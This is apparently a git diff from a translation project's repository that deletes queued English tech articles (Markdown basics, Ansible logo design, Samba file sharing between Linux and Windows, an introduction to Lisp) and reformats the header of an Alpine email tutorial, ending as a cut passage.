surrounding the link. The link is an actual address (either a Web or email address). The link is spelled out and, when it is converted to HTML, the spelled out link becomes a working link. - -``` - - -<[email protected]> -``` - -This is useful for when you want to spell out the address in your text: - -![][11] - -#### Adding images in Markdown - -Links to images are almost identical to links to Web sites. The small difference between site links and images, is that image links begin with a bang (exclamation point) `!` - -The name of the image, or a descriptive phrase of the image, is placed in square brackets `[]`. The actual link is inside parentheses `()`. - -You can embed images like so: - -``` -![alternate text](./images/image.jpg) -``` - -Here’s an example image link. It is a sample link, with no image, but it is a decent sample of how an actual link might look like: - -``` -![a picture of bill](./images/my_photo_of_me.jpg) -``` - -![][12] - -#### Lists - -Lists are made for many reasons. They can be used as ‘things to do’ items, topic elements in an outline, parts lists in an assembly project, and so on. There are two main types of lists: unordered and ordered. - -Unordered lists are not numbered; these are the ‘bullet items’ we see in many documents. Ordered lists are numbered. - -To create an ordered (numbered) list, just begin each line with a number, like so: - -``` -1. Item one. -2. Item two. -3. Item three. -``` - -Unordered lists are not numbered, but use either an asterisk `*`, a plus sign `+`, or a minus sign `-` at the beginning of each item on the list. I prefer to use either an asterisk or minus sign, but you get to choose: - -``` -* Item one. -+ Item two. -- Item three. -``` - -Sub-items can be added to both ordered and unordered lists by indenting, like so: - -``` -1. Item 1 - 1. Sub-item 1 - 2. Sub-item 2 -2. Item 2 -3. Item 3 -``` - -![][13] - -### Markdown syntax cheat sheet - -For your reference, here is a short listing of Markdown syntax that has been covered in this small introduction. - -If you decide to adopt it as a writing tool, you’ll find that Markdown has the means to simplify writing even more. - -![][14] - -[Download Markdown Cheat Sheet in PDF format][15] - -### Conclusion - -Markdown can do more than what I have described here. A huge percentage of my writing can be accomplished with the Markdown syntax I have covered here – and these are the items I use most often even in more complex projects. - -If all of this seems too simple, it really is that easy. Markdown was built to simply the writing task, but you don’t have to take my word for it. Try it out! There is no need to install a Markdown editor; you can do this online. There are several [good online Markdown editors][16]. Here are three that I prefer: - -John Gruber’s [Dingus][17], [Editor.md][18], and [Dillinger][19]. Editor.md and Dillinger will let you see your Markdown rendered as HTML in real time. Dingus doesn’t preview in real time, but there is a Markdown syntax cheat sheet on the page for reference. - -![][20] - -Try out some of the examples in this article on either of these online editors. Try out some of your own ideas, too. This will let you get used to Markdown before possibly committing to learn more about it. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/markdown-guide/ - -作者:[Bill Dyer][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/bill/ -[b]: https://github.com/lujun9972 -[1]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/retext_window_showing_syntax_and_preview-2.png?resize=800%2C429&ssl=1 -[2]: https://itsfoss.com/best-markdown-editors-linux/ -[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/04/ghostwriter_two_frames-1.png?resize=800%2C458&ssl=1 -[4]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/04/1_md_headings_vscodium.png?resize=800%2C485&ssl=1 -[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/2_md_paragraphs_example_vscodium.png?resize=800%2C593&ssl=1 -[6]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/04/3_md_line_break_fail_vscodium.png?resize=800%2C593&ssl=1 -[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/04/4_md_line_break_success_vscodium.png?resize=800%2C450&ssl=1 -[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/04/5_md_horizontal_rules_vscodium.png?resize=800%2C326&ssl=1 -[9]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/04/6_md_emphasis_vscodium.png?resize=800%2C393&ssl=1 -[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/04/7_md_blockquotes_vscodium.png?resize=800%2C393&ssl=1 -[11]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/8_md_links_vscodium.png?resize=800%2C678&ssl=1 -[12]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/9_md_images_vscodium.png?resize=800%2C725&ssl=1 -[13]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/10_md_lists_vscodium.png?resize=800%2C725&ssl=1 -[14]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/markdown-syntax-cheatsheet.png?resize=727%2C743&ssl=1 -[15]: https://drive.google.com/file/d/1y-Qz9PX_2HksEG5D_WwN-asNB-tpjZHV/view?usp=sharing -[16]: https://itsfoss.com/online-markdown-editors/ -[17]: https://daringfireball.net/projects/markdown/dingus -[18]: http://editor.md.ipandao.com/en.html -[19]: https://dillinger.io/ -[20]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/04/editor-md_page_in_browser-1.png?resize=800%2C505&ssl=1 diff --git a/sources/tech/20210426 How we built an open source design system to create new community logos.md b/sources/tech/20210426 How we built an open source design system to create new community logos.md deleted file mode 100644 index 81089c3c74..0000000000 --- a/sources/tech/20210426 How we built an open source design system to create new community logos.md +++ /dev/null @@ -1,134 +0,0 @@ -[#]: subject: (How we built an open source design system to create new community logos) -[#]: via: (https://opensource.com/article/21/4/ansible-community-logos) -[#]: author: (Fiona Lin https://opensource.com/users/fionalin) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -How we built an open source design system to create new community logos -====== -Learn how Ansible's new logos were developed with stakeholder input to -ensure a consistent brand across the entire project. -![UX design Mac computer with mobile and laptop][1] - -As interaction designers on Red Hat's User Experience (UX) Design and Ansible product teams, we worked for about six months to build a logo family with the Ansible community. This journey started even earlier when a project manager asked us for a "quick and easy" logo for a slide deck. After gathering a few requirements, we presented a logo to the stakeholders within a few days and without much need for iteration. A few months later, another stakeholder decided they would also benefit from having imagery for their materials, so we repeated the process. - -At this point, we noticed a pattern: logo resources like these no longer represented individual requests but rather a common need across the Ansible project. After completing several logo requests, we had built a makeshift series that—without conscious branding and design conventions—created the potential for visual inconsistencies across the Ansible brand. As the logo collection grew, we recognized this looming problem and the need to combat it. - -Our solution was to create an Ansible design system, a brand-specific resource to guide consistent logo design well into the future. - -### What is a design system? - -A design system is a collection of reusable assets and guidelines that help inform the visual language of any digital product suite. Design systems create patterns to bring separate products together and elevate brands through scalability and consistency. - -Especially in a large corporation with multiple products in the portfolio, scaling does not come easily without standardization as different teams contribute to each product. Design systems work as a baseline for each team to build new assets on. With a standardized look and feel, products are unified as one family across the portfolio. - -### Getting started building a design system - -After receiving a series of requests from stakeholders to create logos for the open source Ansible community, such as Ansible Builder, Ansible Runner, and Project Receptor, we decided to design a structure for our workflow and create a single source of truth to work for moving forward. - -First, we conducted a visual audit of the existing logos to determine what we had to work with. Ansible's original logo family consists of four main images: the Angry Spud for AWX, the Ansibull for Ansible Core/Engine, and the monitor with wings for AWX. Most of the logos were tied together with a consistent shade of red and bull imagery, but the stroke width, stroke color, line quality, and typography were vast and varied. - -![Original Ansible logos][2] - -(Fiona Lin and Taufique Rahman, [CC BY-SA 4.0][3]) - -The Angry Spud uses a tan outline and a hand-drawn style, while the bull is a symmetrical, geometric vector. The AWX monitor was the outlier with its thin line-art wings, blue vector rectangle, and Old English typeface (not included here, but an exception from the rest of the family, which uses a modern sans serif). - -### Establishing new design criteria - -Taking color palette, typography, and imagery into consideration, we generated a consistent composition that features the Ansibull for all core Ansible products, along with bold lines and vibrant colors. - -![Ansible design system][4] - -(Fiona Lin and Taufique Rahman, [CC BY-SA 4.0][3]) - -The new Ansible community logo design style guide details the color palette, typography, sizing, spacing, and logo variations for Ansible product logos. - -The new style guide presents a brand new, modern custom typeface based on GT America by [Grilli Type][5], an independent Swiss type foundry. We created a softer look for the typeface to match the imagery's roundedness by rounding out certain corners of each letter. - -We decided to curate a more lively, saturated, and universal color palette by incorporating more colors in the spectrum and basing them on primary colors. The new palette features light blue, yellow, and pink, each with a lighter highlight and darker shadow. This broader color scope allows more flexibility within the system and introduces a 3D look and feel. - -![New Ansible logos][6] - -(Fiona Lin and Taufique Rahman, [CC BY-SA 4.0][3]) - -We also introduced new imagery, such as the hexagons in the Receptor and AWX logos for visual continuity. Finally, we made sure each logo works on both light and dark backgrounds for maximum flexibility. - -### Expanding the design portfolio - -Once we established the core logo family, we moved onto creating badges for Ansible services, such as Ansible Demo and Ansible Workshop. To differentiate services from products, we decided to enclose service graphics in a circle that contains the name of the service in the same custom typography. The new service badges show the baby Ansibull (from the Ansible Builder logo) completing tasks related to each service, such as pointing to a whiteboard for Ansible Demo or using building tools for Ansible Workshop. - -![New Ansible services logos][7] - -(Fiona Lin and Taufique Rahman, [CC BY-SA 4.0][3]) - -### Using open source for design decisions - -The original AWX logo was influenced by rock-and-roll imagery, such as the wings and the heavy metal typeface (omitted from the image here). - -![Original AWX logo][8] - -(Fiona Lin and Taufique Rahman, [CC BY-SA 4.0][3]) - -Several members of the Ansible community, including the Red Hat Diversity and Inclusion group, brought to our attention that these elements resemble imagery used by hate groups. - -Given the social implications of the original logo's imagery, we had to work quickly with the Ansible community to design a replacement. Instead of working in a silo, as we did for the initial logos, we broadened the project's scope to carefully consider a wider range of stakeholders, including the Ansible community, Red Hat Diversity and Inclusion group, and Red Hat Legal team. - -We started brainstorming by reaching out to the Ansible open source community for ideas. One of the Ansible engineers, Rebeccah Hunter, contributed in the sketching phase and later became an embedded part of our design team. Part of the challenge of involving a large group of stakeholders was that we had a variety of ideas for new logo concepts, ranging from an auxiliary cable to a bowl of ramen. - -We sketched five community-surfaced logos, each featuring a different branded visual: a sprout, a rocket, a monitor, a bowl of ramen, and an auxiliary cable. - -![AWX logo concepts][9] - -(Fiona Lin and Taufique Rahman, [CC BY-SA 4.0][3]) - -After completing these initial concept sketches, we set up a virtual voting mechanism that we used throughout the iteration process. This voting system allowed us to use community feedback to narrow from five initial concepts down to three: the rocket, the bowl of ramen, and the monitor. We further iterated on these three directions and presented back, via a Slack channel dedicated to this effort, until we landed on one direction, the AWX monitor, that aligned with the community's vision. - -![New AWX logo][10] - -(Fiona Lin and Taufique Rahman, [CC BY-SA 4.0][3]) - -With community voices as our guide, we pursued the monitor logo concept for AWX. We preserved the monitor element from the original logo while modernizing the look and feel to match our updated design system. We used a more vibrant color palette, a cleaner sans-serif typeface, and elements, including the hexagon motif, from the Project Receptor logo. - -By engaging with our community from the beginning of the process, we were able to design and iterate in the open with a sense of inclusiveness from all stakeholders. In the end, we felt this was the best approach for replacing a controversial logo. The final version was handed off to the Red Hat Legal team, and after approval, we replaced all current assets with this new logo. - -### Key takeaways - -Creating a set of rules and assets for a design system keeps your digital products consistent across the board, eliminates brand confusion, and enables scalability. - -As you explore building a design system with your own community, you may benefit from these key takeaways we learned along our path: - - * Scaling new logos with a design system is a much easier process than without one. - * Juggling design options becomes less daunting when you use a polling system to validate results. - * Directing a large audience's attention on sets of three eliminates decision fatigue and focuses community feedback. - - - -We hope this article provides insight into designing a system with an open source community and helps you recognize the benefit of developing a system early in your process. If you are creating a new design system, what questions do you have? And if you have created one, what lessons have you learned? Please share your ideas in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/4/ansible-community-logos - -作者:[Fiona Lin][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/fionalin -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/ux-design-mac-laptop.jpg?itok=9-HKgXa9 (UX design Mac computer with mobile and laptop) -[2]: https://opensource.com/sites/default/files/pictures/original_logos.png (Original Ansible logos) -[3]: https://creativecommons.org/licenses/by-sa/4.0/ -[4]: https://opensource.com/sites/default/files/pictures/design_system.png (Ansible design system) -[5]: https://www.grillitype.com/ -[6]: https://opensource.com/sites/default/files/pictures/new_logos.png (New Ansible logos) -[7]: https://opensource.com/sites/default/files/pictures/new_service_badges.png (New Ansible services logos) -[8]: https://opensource.com/sites/default/files/uploads/awx_original.png (Original AWX logo) -[9]: https://opensource.com/sites/default/files/uploads/awx_concepts.png (AWX logo concepts) -[10]: https://opensource.com/sites/default/files/uploads/awx.png (New AWX logo) diff --git a/sources/tech/20210428 Share files between Linux and Windows computers.md b/sources/tech/20210428 Share files between Linux and Windows computers.md deleted file mode 100644 index 8ba6282397..0000000000 --- a/sources/tech/20210428 Share files between Linux and Windows computers.md +++ /dev/null @@ -1,274 +0,0 @@ -[#]: subject: (Share files between Linux and Windows computers) -[#]: via: (https://opensource.com/article/21/4/share-files-linux-windows) -[#]: author: (Stephan Avenwedde https://opensource.com/users/hansic99) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Share files between Linux and Windows computers -====== -Set up cross-platform file sharing with Samba. -![Blue folders flying in the clouds above a city skyline][1] - -If you work with different operating systems, it's handy to be able to share files between them. This article explains how to set up file access between Linux ([Fedora 33][2]) and Windows 10 using [Samba][3] and [mount.cifs][4]. - -Samba is the Linux implementation of the [SMB/CIFS][5] protocol, allowing direct access to shared folders and printers over a network. Mount.cifs is part of the Samba suite and allows you to mount the [CIFS][5] filesystem under Linux. - -> **Caution**: These instructions are for sharing files within your private local network or in a virtualized host-only network between a Linux host machine and a virtualized Windows guest. Don't consider this article a guideline for your corporate network, as it doesn't implement the necessary cybersecurity considerations. - -### Access Linux from Windows - -This section explains how to access a user's Linux home directory from Windows File Explorer. - -#### 1\. Install and configure Samba - -Start on your Linux system by installing Samba: - - -``` -`dnf install samba` -``` - -Samba is a system daemon, and its configuration file is located in `/etc/samba/smb.conf`. Its default configuration should work. If not, this minimal configuration should do the job: - - -``` -[global] -        workgroup = SAMBA -        server string = %h server (Samba %v) -        invalid users = root -        security = user -[homes] -        comment = Home Directories -        browseable = no -        valid users = %S -        writable = yes -``` - -You can find a detailed description of the parameters in the [smb.conf][6] section of the project's website. - -#### 2\. Modify LinuxSE - -If your Linux distribution is protected by [SELinux][7] (as Fedora is), you have to enable Samba to be able to access the user's home directory: - - -``` -`setsebool -P samba_enable_home_dirs on` -``` - -Check that the value is set by typing: - - -``` -`getsebool samba_enable_home_dirs` -``` - -Your output should look like this: - -![Sebool][8] - -(Stephan Avenwedde, [CC BY-SA 4.0][9]) - -#### 3\. Enable your user - -Samba uses a set of users and passwords that have permission to connect. Add your Linux user to the set by typing: - - -``` -`smbpasswd -a ` -``` - -You will be prompted for a password. This is a _completely new_ password; it is not the current password for your account. Enter the password you want to use to log in to Samba. - -To get a list of allowed user types: - - -``` -`pdbedit -L -v` -``` - -Remove a user by typing: - - -``` -`smbpasswd -x ` -``` - -#### 4\. Start Samba - -Because Samba is a system daemon, you can start it on Fedora with: - - -``` -`systemctl start smb` -``` - -This starts Samba for the current session. If you want Samba to start automatically on system startup, enter: - - -``` -`systemctl enable smb` -``` - -On some systems, the Samba daemon is registered as `smbd`. - -#### 4\. Configure the firewall - -By default, Samba is blocked by your firewall. Allow Samba to access the network permanently by configuring the firewall. - -You can do it on the command line with: - - -``` -`firewall-cmd --add-service=samba --permanent` -``` - -Or you do it graphically with the firewall-config tool: - -![firewall-config][10] - -(Stephan Avenwedde, [CC BY-SA 4.0][9]) - -#### 5\. Access Samba from Windows - -In Windows, open File Explorer. On the address line, type in two backslashes followed by your Linux machine's address (IP address or hostname): - -![Accessing Linux machine from Windows][11] - -(Stephan Avenwedde, [CC BY-SA 4.0][9]) - -You will be prompted for your login information. Type in the username and password combination from step 3. You should now be able to access your home directory on your Linux machine: - -![Accessing Linux machine from Windows][12] - -(Stephan Avenwedde, [CC BY-SA 4.0][9]) - -### Access Windows from Linux - -The following steps explain how to access a shared Windows folder from Linux. To implement them, you need Administrator rights on your Windows user account. - -#### 1\. Enable file sharing - -Open the** Network and Sharing Center** either by clicking on the - -**Windows Button > Settings > Network & Internet** - -or by right-clicking the little monitor icon on the bottom-right of your taskbar: - -![Open network and sharing center][13] - -(Stephan Avenwedde, [CC BY-SA 4.0][9]) - -In the window that opens, find the connection you want to use and note its profile. I used **Ethernet 3**, which is tagged as a **Public network**. - -> **Caution**: Consider changing your local machine's connection profile to **Private** if your PC is frequently connected to public networks. - -Remember your network profile and click on **Change advanced sharing settings**: - -![Change advanced sharing settings][14] - -(Stephan Avenwedde, [CC BY-SA 4.0][9]) - -Select the profile that corresponds to your connection and turn on **network discovery** and **file and printer sharing**: - -![Network sharing settings][15] - -(Stephan Avenwedde, [CC BY-SA 4.0][9]) - -#### 2\. Define a shared folder - -Open the context menu by right-clicking on the folder you want to share, navigate to **Give access to**, and select **Specific people...** : - -![Give access][16] - -(Stephan Avenwedde, [CC BY-SA 4.0][9]) - -Check whether your current username is on the list. Click on **Share** to tag this folder as shared: - -![Tag as shared][17] - -(Stephan Avenwedde, [CC BY-SA 4.0][9]) - -You can display a list of all shared folders by entering `\\localhost` in File Explorer's address line: - -![Shared folders][18] - -(Stephan Avenwedde, [CC BY-SA 4.0][9]) - -![Shared folders][19] - -(Stephan Avenwedde, [CC BY-SA 4.0][9]) - -#### 3\. Mount the shared folder under Linux - -Go back to your Linux system, open a command shell, and create a new folder where you want to mount the Windows share: - - -``` -`mkdir ~/WindowsShare` -``` - -Mounting Windows shares is done with mount.cifs, which should be installed by default. To mount your shared folder temporarily, use: - - -``` -`sudo mount.cifs ///MySharedFolder ~/WindowsShare/ -o user=,uid=$UID` -``` - -In this command: - - * `` is the Windows PC's address info (IP or hostname) - * ``is the user that is allowed to access the shared folder (from step 2) - - - -You will be prompted for your Windows password. Enter it, and you will be able to access the shared folder on Windows with your normal Linux user. - -To unmount the shared folder: - - -``` -`sudo umount ~/WindowsShare/` -``` - -You can also mount a Windows shared folder on system startup. Follow [these steps][20] to configure your system accordingly. - -### Summary - -This shows how to establish temporary shared folder access that must be renewed after each boot. It is relatively easy to modify this configuration for permanent access. I often switch back and forth between different systems, so I consider it incredibly practical to set up direct file access. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/4/share-files-linux-windows - -作者:[Stephan Avenwedde][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/hansic99 -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/rh_003499_01_cloud21x_cc.png?itok=5UwC92dO (Blue folders flying in the clouds above a city skyline) -[2]: https://getfedora.org/en/workstation/download/ -[3]: https://www.samba.org/ -[4]: https://linux.die.net/man/8/mount.cifs -[5]: https://en.wikipedia.org/wiki/Server_Message_Block -[6]: https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html -[7]: https://www.redhat.com/en/topics/linux/what-is-selinux -[8]: https://opensource.com/sites/default/files/uploads/sebool.png (Enabling Samba to enable user directory access) -[9]: https://creativecommons.org/licenses/by-sa/4.0/ -[10]: https://opensource.com/sites/default/files/uploads/firewall_configuration.png (firewall-config tool) -[11]: https://opensource.com/sites/default/files/uploads/windows_access_shared_1.png (Accessing Linux machine from Windows) -[12]: https://opensource.com/sites/default/files/uploads/windows_acess_shared_2.png (Accessing Linux machine from Windows) -[13]: https://opensource.com/sites/default/files/uploads/open_network_and_sharing_center.png (Open network and sharing center) -[14]: https://opensource.com/sites/default/files/uploads/network_and_sharing_center_2.png (Change advanced sharing settings) -[15]: https://opensource.com/sites/default/files/uploads/network_sharing.png (Network sharing settings) -[16]: https://opensource.com/sites/default/files/pictures/give_access_to.png (Give access) -[17]: https://opensource.com/sites/default/files/pictures/tag_as_shared.png (Tag as shared) -[18]: https://opensource.com/sites/default/files/uploads/show_shared_folder_1.png (Shared folders) -[19]: https://opensource.com/sites/default/files/uploads/show_shared_folder_2.png (Shared folders) -[20]: https://timlehr.com/auto-mount-samba-cifs-shares-via-fstab-on-linux/ diff --git a/sources/tech/20210503 Learn the Lisp programming language in 2021.md b/sources/tech/20210503 Learn the Lisp programming language in 2021.md deleted file mode 100644 index a1de95ead8..0000000000 --- a/sources/tech/20210503 Learn the Lisp programming language in 2021.md +++ /dev/null @@ -1,305 +0,0 @@ -[#]: subject: (Learn the Lisp programming language in 2021) -[#]: via: (https://opensource.com/article/21/5/learn-lisp) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Learn the Lisp programming language in 2021 -====== -A lot of Lisp code lurks inside big codebases, so it's smart to get -familiar with the language. -![Woman sitting in front of her laptop][1] - -Lisp was invented in 1958, which makes it the second-oldest computer programming language. It has spawned several modern derivatives, including Common Lisp, Emacs Lisp (Elisp), Clojure, Racket, Scheme, Fennel, and GNU Guile. - -People who love thinking about the design of programming languages often love Lisp because of how its syntax and data share the same structure: Lisp code is essentially a list of lists, and its name is an acronym for _LISt Processing_. People who love thinking about the aesthetics of programming languages often hate Lisp because of its frequent use of parentheses for scoping; in fact, it's a common joke that Lisp stands for _Lots of Irritating Superfluous Parentheses_. - -Whether you love or hate its design philosophies, Lisp is an interesting glimpse at the past and, thanks to Clojure and Guile, into the future. You might be surprised how much Lisp code there is lurking within big codebases in any given industry, so it's a good idea to have at least a passing familiarity with the language. - -### Install Lisp - -There are many implementations of Lisp. Popular open source versions include [SBCL][2] and [GNU Common Lisp][3] (GCL). You can install either of these with your distribution's package manager. - -On Fedora Linux: - - -``` -`$ sudo dnf install gcl` -``` - -On Debian: - - -``` -`$ sudo apt install gcl` -``` - -For macOS, you can use [MacPorts][4] or [Homebrew][5]: - - -``` -`$ sudo port install gcl` -``` - -For Windows, download a binary from [gnu.org/software/gcl][6]. - -For this article, I'm using GCL and its `clisp` command, but most of the principles apply to any Lisp. - -### List processing - -The basic unit of Lisp source code is an _expression_, which is written as a list. For instance, this is a list of an operator (`+`) and two integers (`1` and `2`): - - -``` -`(+ 1 2)` -``` - -It's also a Lisp expression, using a symbol (`+`) that evaluates to a function (addition) and two arguments (`1` and `2`). You can run this expression and others in an interactive Common Lisp environment called REPL (read-eval-print loop). If you're familiar with Python's IDLE, Lisp's REPL should feel somewhat familiar to you. - -To launch a REPL, launch Common Lisp: - - -``` -$ clisp -[1]> -``` - -At the REPL prompt, type a few expressions: - - -``` -[1]> (+ 1 2) -3 -[2]> (- 1 2) --1 -[3]> (- 2 1) -1 -[4]> (+ 2 3 4) -9 -``` - -### Functions - -Now that you know the basic structure of a Lisp expression, you can utilize Lisp functions in useful ways. The `print` function takes any argument you provide and displays it on your terminal, while the `pprint` function "pretty" prints it. There are other variations on the print function, but `pprint` is nice in REPL: - - -``` -[1]> (pprint "hello world") - -"hello world" - -[2]> -``` - -You can create your own functions with `defun`. The `defun` function requires a name for your function and any parameters you want your function to accept: - - -``` -[1]> (defun myprinter (s) (pprint s)) -MYPRINTER -[2]> (myprinter "hello world") - -"hello world" - -[3]> -``` - -### Variables - -You can create variables in Lisp with `setf`: - - -``` -[1]> (setf foo "hello world") -"hello world" -[2]> (pprint foo) - -"hello world" - -[3]> -``` - -You can nest expressions within expressions in a kind of pipeline. For instance, you can pretty print the contents of your variable after invoking the `string-upcase` function to convert its characters to uppercase: - - -``` -[3]> (pprint (string-upcase foo)) - -"HELLO WORLD" - -[4]> -``` - -Lisp is dynamically typed in the sense that you don't have to declare variable types when setting them. Lisp treats integers as integers by default: - - -``` -[1]> (setf foo 2) -[2]> (setf bar 3) -[3]> (+ foo bar) -5 -``` - -If you intend for an integer to be interpreted as a string, you can quote it: - - -``` -[4]> (setf foo "2")                                                                                                                       -"2"                                                                                                                                       -[5]> (setf bar "3")                                                                                                                       -"3" -[6]> (+ foo bar) - -*** - +: "2" is not a number -The following restarts are available: -USE-VALUE      :R1      Input a value to be used instead. -ABORT          :R2      Abort main loop -Break 1 [7]> -``` - -In this sample REPL session, both `foo` and `bar` are set to quoted numbers, so Lisp interprets them as strings. Math operators can't be used on strings, so REPL drops into a debugger mode. To get out of the debugger, press **Ctrl+D** on your keyboard. - -You can do some introspection on objects using the `typep` function, which tests for a specific data type. The tokens `T` and `NIL` represent _True_ and _False_, respectively. - - -``` -[4]> (typep foo 'string) -NIL -[5]> (typep foo 'integer) -T -``` - -The single quote (`'`) before `string` and `integer` prevents Lisp from (incorrectly) evaluating those keywords as variables: - - -``` -[6]> (typep foo string) -*** - SYSTEM::READ-EVAL-PRINT: variable STRING has no value -[...] -``` - -It's a shorthand way to protect the terms, normally done with the `quote` function: - - -``` -[7]> (typep foo (quote string)) -NIL -[5]> (typep foo (quote integer)) -T -``` - -### Lists - -Unsurprisingly, you can also create lists in Lisp: - - -``` -[1]> (setf foo (list "hello" "world")) -("hello" "world") -``` - -Lists can be indexed with the `nth` function: - - -``` -[2]> (nth 0 foo) -"hello" -[3]> (pprint (string-capitalize (nth 1 foo))) - -"World" -``` - -### Exiting REPL - -To end a REPL session, press **Ctrl+D** on your keyboard, or use the `quit` keyword in Lisp: - - -``` -[99]> (quit) -$ -``` - -### Scripting - -Lisp can be compiled or used as an interpreted scripting language. The latter is probably the easiest option when you're starting, especially if you're already familiar with Python or [shell scripting][7]. - -Here's a simple dice roller script written in GNU Common Lisp: - - -``` -#!/usr/bin/clisp - -(defun roller (num)   -  (pprint (random (parse-integer (nth 0 num)))) -) - -(setf userput *args*) -(setf *random-state* (make-random-state t)) -(roller userput) -``` - -The first line tells your [POSIX][8] terminal what executable to use to run the script. - -The `roller` function, created with `defun`, uses the `random` function to print a pseudo-random number up to, and not including, the zeroth item of the `num` list. The `num` list hasn't been created yet in the script, but the function doesn't get executed until it's called. - -The next line assigns any argument provided to the script at launch time to a variable called `userput`. The `userput` variable is a list, and it's what becomes `num` once it's passed to the `roller` function. - -The penultimate line of the script starts a _random seed_. This provides Lisp with enough entropy to generate a mostly random number. - -The final line invokes the custom `roller` function, providing the `userput` list as its sole argument. - -Save the file as `dice.lisp` and mark it executable: - - -``` -`$ chmod +x dice.lisp` -``` - -Finally, try running it, providing it with a maximum number from which to choose its random number: - - -``` -$ ./dice.lisp 21 - -13 -$ ./dice.lisp 21 - -7 -$ ./dice.lisp 21 - -20 -``` - -Not bad! - -### Learn Lisp - -Whether you can imagine using Lisp as a utilitarian language for personal scripts, to advance your career, or just as a fun experiment, you can see some particularly inventive uses at the annual [Lisp Game Jam][9] (most submissions are open source, so you can view the code to learn from what you play). - -Lisp is a fun and unique language with an ever-growing developer base and enough historic and emerging dialects to keep programmers from all disciplines happy. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/5/learn-lisp - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_4.png?itok=VGZO8CxT (Woman sitting in front of her laptop) -[2]: http://sbcl.org -[3]: https://www.gnu.org/software/gcl/ -[4]: https://opensource.com/article/20/11/macports -[5]: https://opensource.com/article/20/6/homebrew-linux -[6]: http://mirror.lagoon.nc/gnu/gcl/binaries/stable -[7]: https://opensource.com/article/20/4/bash-programming-guide -[8]: https://opensource.com/article/19/7/what-posix-richard-stallman-explains -[9]: https://itch.io/jam/spring-lisp-game-jam-2021 diff --git a/sources/tech/20210511 Use the Alpine email client in your Linux terminal.md b/sources/tech/20210511 Use the Alpine email client in your Linux terminal.md index 83930d59c3..7f4e8155e6 100644 --- a/sources/tech/20210511 Use the Alpine email client in your Linux terminal.md +++ b/sources/tech/20210511 Use the Alpine email client in your Linux terminal.md @@ -1,15 +1,16 @@ -[#]: subject: (Use the Alpine email client in your Linux terminal) -[#]: via: (https://opensource.com/article/21/5/alpine-linux-email) -[#]: author: (David Both https://opensource.com/users/dboth) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) +[#]: subject: "Use the Alpine email client in your Linux terminal" +[#]: via: "https://opensource.com/article/21/5/alpine-linux-email" +[#]: author: "David Both https://opensource.com/users/dboth" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Use the Alpine email client in your Linux terminal ====== Configure Alpine to handle your email the way you like it. + ![Chat via email][1] Email is an important communications medium and will remain so for the foreseeable future. I have used many different email clients over the last 30 years, and [Thunderbird][2] is what I have used the most in recent years. It is an excellent and functional desktop application that provides all the features that most people need—including me. @@ -22,7 +23,7 @@ This desire to go retro with my email client started back in 2017 when I wrote a I recently decided to exclusively use Alpine for email. The main attraction is the ease of use offered by keeping my hands on the keyboard (and reducing the number of times I need to reach for the mouse). It is also about scratching my sysadmin itch to do something different and use an excellent text mode interface in the process. -## Getting started +### Getting started I already had Alpine set up from my previous use, so it was just a matter of starting to use it again. @@ -32,18 +33,17 @@ I previously set up Alpine on my mail server—I used secure shell (SSH) to log But now I want to run Alpine on my workstation or laptop. It's relatively simple to configure Alpine on the same host as the email server. Using it on a remote computer requires a good bit more. -## Install Alpine +### Install Alpine Installing Alpine on Fedora is simple because it is available from the Fedora repository. Just use DNF as root: - ``` -`# dnf -y install alpine` +# dnf -y install alpine ``` This command installs Alpine and any 